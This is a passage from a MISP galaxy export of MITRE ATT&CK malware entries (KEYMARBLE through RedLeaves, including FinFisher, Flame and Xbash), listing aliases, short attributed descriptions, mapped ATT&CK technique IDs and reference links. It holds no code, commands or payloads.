The tag is: misp-galaxy:mitre-malware="KEYMARBLE - S0271"

KEYMARBLE - S0271 is also known as:

KEYMARBLE

KEYMARBLE - S0271 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3251. Table References
Links
https://attack.mitre.org/software/S0271
https://www.us-cert.gov/ncas/analysis-reports/AR18-221A

SHUTTERSPEED - S0217

[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217"

SHUTTERSPEED - S0217 is also known as:

SHUTTERSPEED

SHUTTERSPEED - S0217 has relationships with:

similar: misp-galaxy:tool="SHUTTERSPEED" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3252. Table References
Links
https://attack.mitre.org/software/S0217
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Reaver - S0172

[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)

The tag is: misp-galaxy:mitre-malware="Reaver - S0172"

Reaver - S0172 is also known as:

Reaver

Reaver - S0172 has relationships with:

similar: misp-galaxy:malpedia="Reaver" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3253. Table References
Links
https://attack.mitre.org/software/S0172
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

BADNEWS - S0128

[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)

The tag is: misp-galaxy:mitre-malware="BADNEWS - S0128"

BADNEWS - S0128 is also known as:

BADNEWS

BADNEWS - S0128 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3254. Table References
Links
https://attack.mitre.org/software/S0128
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

SLOWDRIFT - S0218

[SLOWDRIFT](https://attack.mitre.org/software/S0218) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="SLOWDRIFT - S0218"

SLOWDRIFT - S0218 is also known as:

SLOWDRIFT

SLOWDRIFT - S0218 has relationships with:

similar: misp-galaxy:tool="SLOWDRIFT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 3255. Table References
Links
https://attack.mitre.org/software/S0218
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

Dok - S0281

[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).

The tag is: misp-galaxy:mitre-malware="Dok - S0281"

Dok - S0281 is also known as:

Dok
Retefe

Dok - S0281 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="AppleScript - T1155" with estimative-language:likelihood-probability="almost-certain"

Table 3256. Table References
Links
https://attack.mitre.org/software/S0281
https://objective-see.com/blog/blog_0x25.html

FinFisher - S0182

[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)

The tag is: misp-galaxy:mitre-malware="FinFisher - S0182"

FinFisher - S0182 is also known as:

FinFisher
FinSpy

FinFisher - S0182 has relationships with:

similar: misp-galaxy:malpedia="FinFisher RAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1067" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"

Table 3257. Table References
Links
https://attack.mitre.org/software/S0182
http://www.finfisher.com/FinFisher/index.html
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/
https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/

WINERACK - S0219

[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="WINERACK - S0219"

WINERACK - S0219 is also known as:

WINERACK

WINERACK - S0219 has relationships with:

similar: misp-galaxy:tool="WINERACK" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 3258. Table References
Links
https://attack.mitre.org/software/S0219
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf

PJApps - S0291

[PJApps](https://attack.mitre.org/software/S0291) is an Android malware family. (Citation: Lookout-EnterpriseApps)

The tag is: misp-galaxy:mitre-malware="PJApps - S0291"

PJApps - S0291 is also known as:

PJApps

PJApps - S0291 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Premium SMS Toll Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"

Table 3259. Table References
Links
https://attack.mitre.org/software/S0291
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

RuMMS - S0313

[RuMMS](https://attack.mitre.org/software/S0313) is an Android malware family. (Citation: FireEye-RuMMS)

The tag is: misp-galaxy:mitre-malware="RuMMS - S0313"

RuMMS - S0313 is also known as:

RuMMS

RuMMS - S0313 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 3260. Table References
Links
https://attack.mitre.org/software/S0313
https://www.fireeye.com/blog/threat-research/2016/04/rumms-android-malware.html

Downdelph - S0134

[Downdelph](https://attack.mitre.org/software/S0134) is a first-stage downloader written in Delphi that has been used by [APT28](https://attack.mitre.org/groups/G0007) in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)

The tag is: misp-galaxy:mitre-malware="Downdelph - S0134"

Downdelph - S0134 is also known as:

Downdelph
Delphacy

Downdelph - S0134 has relationships with:

similar: misp-galaxy:tool="Downdelph" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Downdelph" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3261. Table References
Links
https://attack.mitre.org/software/S0134
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

Flame - S0143

Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)

The tag is: misp-galaxy:mitre-malware="Flame - S0143"

Flame - S0143 is also known as:

Flame
Flamer
sKyWIper

Flame - S0143 has relationships with:

similar: misp-galaxy:tool="Flame" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Table 3262. Table References
Links
https://attack.mitre.org/software/S0143
https://securelist.com/the-flame-questions-and-answers-51/34344/
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache
https://www.crysys.hu/publications/files/skywiper.pdf

Xbash - S0341

[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. [Xbash](https://attack.mitre.org/software/S0341) was developed in Python and then converted into a self-contained Linux ELF executable by using PyInstaller.(Citation: Unit42 Xbash Sept 2018)

The tag is: misp-galaxy:mitre-malware="Xbash - S0341"

Xbash - S0341 is also known as:

Xbash

Xbash - S0341 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 3263. Table References
Links
https://attack.mitre.org/software/S0341
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

Final1stspy - S0355

[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)

The tag is: misp-galaxy:mitre-malware="Final1stspy - S0355"

Final1stspy - S0355 is also known as:

Final1stspy

Final1stspy - S0355 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3264. Table References
Links
https://attack.mitre.org/software/S0355
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

Cannon - S0351

[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)

The tag is: misp-galaxy:mitre-malware="Cannon - S0351"

Cannon - S0351 is also known as:

Cannon

Cannon - S0351 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"

Table 3265. Table References
Links
https://attack.mitre.org/software/S0351
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/

HIDEDRV - S0135

[HIDEDRV](https://attack.mitre.org/software/S0135) is a rootkit used by [APT28](https://attack.mitre.org/groups/G0007). It has been deployed along with [Downdelph](https://attack.mitre.org/software/S0134) to execute and hide that malware. (Citation: ESET Sednit Part 3) (Citation: Sekoia HideDRV Oct 2016)

The tag is: misp-galaxy:mitre-malware="HIDEDRV - S0135"

HIDEDRV - S0135 is also known as:

HIDEDRV

HIDEDRV - S0135 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 3266. Table References
Links
https://attack.mitre.org/software/S0135
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf
http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf

DualToy - S0315

[DualToy](https://attack.mitre.org/software/S0315) is Windows malware that installs malicious applications onto Android and iOS devices connected over USB. (Citation: PaloAlto-DualToy)

The tag is: misp-galaxy:mitre-malware="DualToy - S0315"

DualToy - S0315 is also known as:

DualToy

DualToy - S0315 has relationships with:

similar: misp-galaxy:malpedia="DualToy (Android)" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Exploit via Charging Station or PC - T1458" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

Table 3267. Table References
Links
https://attack.mitre.org/software/S0315
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

RedLeaves - S0153

[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)

The tag is: misp-galaxy:mitre-malware="RedLeaves - S0153"

RedLeaves - S0153 is also known as:

RedLeaves
BUGJUICE

RedLeaves - S0153 has relationships with:

similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="RedLeaves" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
